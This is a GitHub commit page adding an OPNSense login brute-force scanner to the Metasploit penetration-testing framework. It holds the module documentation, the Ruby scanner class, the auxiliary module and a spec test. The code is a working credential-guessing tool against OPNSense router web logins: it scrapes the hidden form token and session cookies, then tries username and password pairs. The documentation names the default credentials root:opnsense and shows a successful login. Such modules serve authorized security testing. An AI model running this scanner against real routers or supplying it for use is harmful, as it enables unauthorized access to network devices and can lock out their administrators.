Skip to content

Commit aa3efed

Browse files
authored
Merge pull request rapid7#19992 from sjanusz-r7/add-opnsense-login-scanner
Add OPNSense Login Scanner module
2 parents 4303da1 + 9041730 commit aa3efed

File tree

5 files changed

+357
-0
lines changed

5 files changed

+357
-0
lines changed
Lines changed: 111 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,111 @@
1+
## Vulnerable Application
2+
3+
This module attempts to bruteforce credentials for OPNSense.
4+
5+
This module was specifically tested on version 25.1 and 21.1, with older versions being unavailable from OPNSense mirrors.
6+
7+
Note:
8+
9+
By default, OPNSense comes with a built-in account named `root` with the password being `opnsense`.
10+
11+
When performing too many login attempts, OPNSense will drop all packets coming from your IP, until the router is either:
12+
- Restarted
13+
- An anti-lockout rule is added
14+
15+
## Verification Steps
16+
17+
1. Set up an OPNSense VM or target a real installation
18+
1. Start `bundle exec ./msfconsole -q`
19+
1. `use auxiliary/scanner/http/opnsense_login`
20+
1. `set ssl true`
21+
1. `set pass_file ...`
22+
1. `set user_file ...`
23+
1. `run`
24+
1. or, using some example inline options:
25+
```
26+
run pass_file=data/wordlists/default_pass_for_services_unhash.txt \
27+
user_file=data/wordlists/default_pass_for_services_unhash.txt \
28+
STOP_ON_SUCCESS=true SSL=true rport=443
29+
```
30+
1. Verify you get a login:
31+
```
32+
[+] 192.168.207.158:443 - Login Successful: root:opnsense
33+
```
34+
35+
## Options
36+
37+
### BLANK_PASSWORD
38+
39+
Set to `true` if an additional login attempt should be made with an empty password for every user.
40+
41+
### BRUTEFORCE_SPEED
42+
43+
How fast to bruteforce, from 0 to 5
44+
45+
### PASSWORD
46+
47+
A specific password to authenticate with
48+
49+
### PASS_FILE
50+
51+
File containing passwords, one per line
52+
53+
### STOP_ON_SUCCESS
54+
55+
Stop guessing when a credential works for a host
56+
57+
### THREADS
58+
59+
The number of concurrent threads (max one per host)
60+
61+
### USERPASS_FILE
62+
63+
File containing users and passwords separated by space, one pair per line
64+
65+
### USER_FILE
66+
67+
File containing usernames, one per line
68+
69+
### VERBOSE
70+
71+
Whether to print output for all attempts
72+
73+
## Scenarios
74+
```
75+
msf6 auxiliary(scanner/http/opnsense_login) > options
76+
77+
Module options (auxiliary/scanner/http/opnsense_login):
78+
79+
Name Current Setting Required Description
80+
---- --------------- -------- -----------
81+
ANONYMOUS_LOGIN false yes Attempt to login with a blank username and password
82+
BLANK_PASSWORDS false no Try blank passwords for all users
83+
BRUTEFORCE_SPEED 5 yes How fast to bruteforce, from 0 to 5
84+
DB_ALL_CREDS false no Try each user/password couple stored in the current database
85+
DB_ALL_PASS false no Add all passwords in the current database to the list
86+
DB_ALL_USERS false no Add all users in the current database to the list
87+
DB_SKIP_EXISTING none no Skip existing credentials stored in the current database (Accepted: none, user, user&realm)
88+
PASSWORD opnsense no A specific password to authenticate with
89+
PASS_FILE no File containing passwords, one per line
90+
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
91+
RHOSTS 192.168.207.161 yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
92+
RPORT 443 yes The target port (TCP)
93+
SSL true yes Negotiate SSL/TLS for outgoing connections
94+
STOP_ON_SUCCESS false yes Stop guessing when a credential works for a host
95+
TARGETURI / yes The base path to the OPNSense application
96+
THREADS 1 yes The number of concurrent threads (max one per host)
97+
USERNAME root no A specific username to authenticate as
98+
USERPASS_FILE no File containing users and passwords separated by space, one pair per line
99+
USER_AS_PASS false no Try the username as the password for all users
100+
USER_FILE no File containing usernames, one per line
101+
VERBOSE true yes Whether to print output for all attempts
102+
VHOST no HTTP server virtual host
103+
104+
105+
View the full module info with the info, or info -d command.
106+
107+
msf6 auxiliary(scanner/http/opnsense_login) > run
108+
[+] 192.168.207.161:443 - Login Successful: root:opnsense
109+
[*] Scanned 1 of 1 hosts (100% complete)
110+
[*] Auxiliary module execution completed
111+
```
Lines changed: 138 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,138 @@
1+
require 'metasploit/framework/login_scanner/http'
2+
3+
module Metasploit
4+
module Framework
5+
module LoginScanner
6+
7+
# This is the LoginScanner class for dealing with Deciso B.V. OPNSense instances.
8+
# It is responsible for taking a single target, and a list of credentials
9+
# and attempting them. It then saves the results.
10+
class OPNSense < HTTP
11+
12+
# Retrieve the wanted cookie value by name from the HTTP response.
13+
#
14+
# @param [Rex::Proto::Http::Response] response The response from which to extract cookie values
15+
# @param [String] wanted_cookie_name The cookie name for which to get the value
16+
def get_cookie_value(response, wanted_cookie_name)
17+
response.get_cookies.split('; ').find { |cookie| cookie.start_with?(wanted_cookie_name) }.split('=').last
18+
end
19+
20+
# Checks if the target is OPNSense. The login module should call this.
21+
#
22+
# @return [Boolean, String] FalseClass if target is OPNSense, otherwise String
23+
def check_setup
24+
request_params = {
25+
'method' => 'GET',
26+
'uri' => normalize_uri(@uri.to_s)
27+
}
28+
res = send_request(request_params)
29+
30+
if res && res.code == 200 && res.body&.include?('Login | OPNsense')
31+
return false
32+
end
33+
34+
"Unable to locate \"Login | OPNsense\" in body. (Is this really OPNSense?)"
35+
end
36+
37+
# Query the magic value and cookies from the OPNSense login page.
38+
#
39+
# @return [Hash<Symbol, Object>] A hash of the status and error or result.
40+
def query_magic_value_and_cookies
41+
request_params = {
42+
'method' => 'GET',
43+
'uri' => normalize_uri(@uri.to_s)
44+
}
45+
46+
res = send_request(request_params)
47+
48+
if res.nil?
49+
return { status: :failure, error: 'Did not receive response to a GET request' }
50+
end
51+
52+
if res.code != 200
53+
return { status: :failure, error: "Unexpected return code from GET request - #{res.code}" }
54+
end
55+
56+
if res.body.nil?
57+
return { status: :failure, error: 'Received an empty body from GET request' }
58+
end
59+
60+
# The magic name and value are hidden on the login form, so we extract them using get_html_document
61+
form_input = res.get_html_document&.at('input')
62+
63+
if form_input.nil? || form_input['type'] != 'hidden'
64+
return { status: :failure, error: 'Could not find hidden magic field in the login form.' }
65+
end
66+
67+
magic_value = { name: form_input['name'], value: form_input['value'] }
68+
cookies = "PHPSESSID=#{get_cookie_value(res, 'PHPSESSID')}; cookie_test=#{get_cookie_value(res, 'cookie_test')}"
69+
{ status: :success, result: { magic_value: magic_value, cookies: cookies } }
70+
end
71+
72+
# Each individual login needs their own magic name and value.
73+
# This magic value comes from the login form received in response to a GET request to the login page.
74+
# Each login attempt also requires specific cookies to be set, otherwise an error is returned.
75+
#
76+
# @param username Username
77+
# @param password Password
78+
# @param magic_value A hash containing the magic_value name and value
79+
# @param cookies A cookie string
80+
def try_login(username, password, magic_value, cookies)
81+
request_params =
82+
{
83+
'method' => 'POST',
84+
'uri' => normalize_uri(@uri.to_s),
85+
'cookie' => cookies,
86+
'vars_post' => {
87+
magic_value[:name] => magic_value[:value],
88+
'usernamefld' => username,
89+
'passwordfld' => password,
90+
'login' => '1'
91+
}
92+
}
93+
94+
{ status: :success, result: send_request(request_params) }
95+
end
96+
97+
def attempt_login(credential)
98+
result_options = {
99+
credential: credential,
100+
host: @host,
101+
port: @port,
102+
protocol: 'tcp',
103+
service_name: 'opnsense'
104+
}
105+
106+
# Each login needs its own magic name and value
107+
magic_value_and_cookies = query_magic_value_and_cookies
108+
109+
if magic_value_and_cookies[:status] != :success
110+
result_options.merge!(status: ::Metasploit::Model::Login::Status::UNTRIED, proof: magic_value_and_cookies[:error])
111+
return Result.new(result_options)
112+
end
113+
114+
login_result = try_login(credential.public, credential.private, magic_value_and_cookies[:result][:magic_value], magic_value_and_cookies[:result][:cookies])
115+
116+
if login_result[:result].nil?
117+
result_options.merge!(status: ::Metasploit::Model::Login::Status::UNABLE_TO_CONNECT, proof: 'Unable to connect to OPNSense')
118+
return Result.new(result_options)
119+
end
120+
121+
# 200 is incorrect result
122+
if login_result[:result].code == 200 || login_result[:result].body.include?('Username or Password incorrect')
123+
result_options.merge!(status: ::Metasploit::Model::Login::Status::INCORRECT, proof: 'Username or Password incorrect')
124+
return Result.new(result_options)
125+
end
126+
127+
login_status = login_result[:result].code == 302 ? ::Metasploit::Model::Login::Status::SUCCESSFUL : ::Metasploit::Model::Login::Status::INCORRECT
128+
result_options.merge!(status: login_status, proof: login_result[:result])
129+
Result.new(result_options)
130+
131+
rescue ::Rex::ConnectionError => _e
132+
result_options.merge!(status: ::Metasploit::Model::Login::Status::UNABLE_TO_CONNECT, proof: 'Unable to connect to OPNSense')
133+
return Result.new(result_options)
134+
end
135+
end
136+
end
137+
end
138+
end

lib/msf_autoload.rb

Lines changed: 1 addition & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -302,6 +302,7 @@ def custom_inflections
302302
'nist_sp_800_38f' => 'NIST_SP_800_38f',
303303
'nist_sp_800_108' => 'NIST_SP_800_108',
304304
'pfsense' => 'PfSense',
305+
'opnsense' => 'OPNSense',
305306
'pgadmin' => 'PgAdmin',
306307
}
307308
end
Lines changed: 99 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,99 @@
1+
##
2+
# This module requires Metasploit: https://metasploit.com/download
3+
# Current source: https://github.com/rapid7/metasploit-framework
4+
##
5+
require 'metasploit/framework/credential_collection'
6+
require 'metasploit/framework/login_scanner/opnsense'
7+
8+
class MetasploitModule < Msf::Auxiliary
9+
include Msf::Auxiliary::Scanner
10+
include Msf::Auxiliary::AuthBrute
11+
include Msf::Exploit::Remote::HttpClient
12+
13+
def initialize(info = {})
14+
super(
15+
update_info(
16+
info,
17+
'Name' => 'OPNSense Login Scanner',
18+
'Description' => 'This module performs login attempts against a Deciso B.V OPNSense router webpage to bruteforce possible credentials.',
19+
'Author' => [ 'sjanusz-r7' ],
20+
'License' => MSF_LICENSE,
21+
'Notes' => {
22+
'Stability' => [ CRASH_SAFE ],
23+
'Reliability' => [],
24+
'SideEffects' => [ IOC_IN_LOGS, ACCOUNT_LOCKOUTS ]
25+
}
26+
)
27+
)
28+
29+
register_options(
30+
[
31+
Msf::OptString.new('TARGETURI', [true, 'The base path to the OPNSense application', '/']),
32+
OptBool.new('SSL', [ true, 'Negotiate SSL/TLS for outgoing connections', true ]),
33+
Opt::RPORT(443),
34+
], self.class
35+
)
36+
37+
deregister_options('DOMAIN')
38+
end
39+
40+
def process_credential(credential_data)
41+
credential_combo = "#{credential_data[:username]}:#{credential_data[:private_data]}"
42+
case credential_data[:status]
43+
when Metasploit::Model::Login::Status::SUCCESSFUL
44+
print_good "#{credential_data[:address]}:#{credential_data[:port]} - Login Successful: #{credential_combo}"
45+
credential_data[:core] = create_credential(credential_data)
46+
create_credential_login(credential_data)
47+
return { status: :success, credential: credential_data }
48+
else
49+
if credential_data[:proof]
50+
error_msg = "#{credential_data[:address]}:#{credential_data[:port]} - LOGIN FAILED: #{credential_combo} (#{credential_data[:status]} : #{credential_data[:proof]})"
51+
else
52+
error_msg = "#{credential_data[:address]}:#{credential_data[:port]} - LOGIN FAILED: #{credential_combo} (#{credential_data[:status]})"
53+
end
54+
vprint_error error_msg
55+
invalidate_login(credential_data)
56+
return { status: :fail, credential: credential_data }
57+
end
58+
end
59+
60+
def run_scanner(scanner)
61+
successful_logins = []
62+
scanner.scan! do |result|
63+
credential_data = result.to_h
64+
credential_data.merge!(
65+
module_fullname: fullname,
66+
workspace_id: myworkspace_id
67+
)
68+
69+
processed_credential = process_credential(credential_data)
70+
successful_logins << processed_credential[:credential] if processed_credential[:status] == :success
71+
end
72+
{ successful_logins: successful_logins }
73+
end
74+
75+
def run_host(ip)
76+
cred_collection = build_credential_collection(
77+
username: datastore['USERNAME'],
78+
password: datastore['PASSWORD']
79+
)
80+
81+
scanner_opts = configure_http_login_scanner(
82+
host: ip,
83+
uri: target_uri,
84+
port: datastore['RPORT'],
85+
proxies: datastore['Proxies'],
86+
cred_details: cred_collection,
87+
stop_on_success: datastore['STOP_ON_SUCCESS'],
88+
bruteforce_speed: datastore['BRUTEFORCE_SPEED'],
89+
connection_timeout: datastore['HttpClientTimeout'] || 5,
90+
framework: framework,
91+
framework_module: self,
92+
method: 'POST',
93+
ssl: datastore['SSL']
94+
)
95+
96+
scanner = Metasploit::Framework::LoginScanner::OPNSense.new(scanner_opts)
97+
run_scanner(scanner)
98+
end
99+
end
Lines changed: 8 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,8 @@
1+
require 'spec_helper'
2+
require 'metasploit/framework/login_scanner/opnsense'
3+
4+
RSpec.describe Metasploit::Framework::LoginScanner::OPNSense do
5+
it_behaves_like 'Metasploit::Framework::LoginScanner::Base', has_realm_key: true, has_default_realm: false
6+
it_behaves_like 'Metasploit::Framework::LoginScanner::RexSocket'
7+
it_behaves_like 'Metasploit::Framework::LoginScanner::HTTP'
8+
end

0 commit comments

Comments
 (0)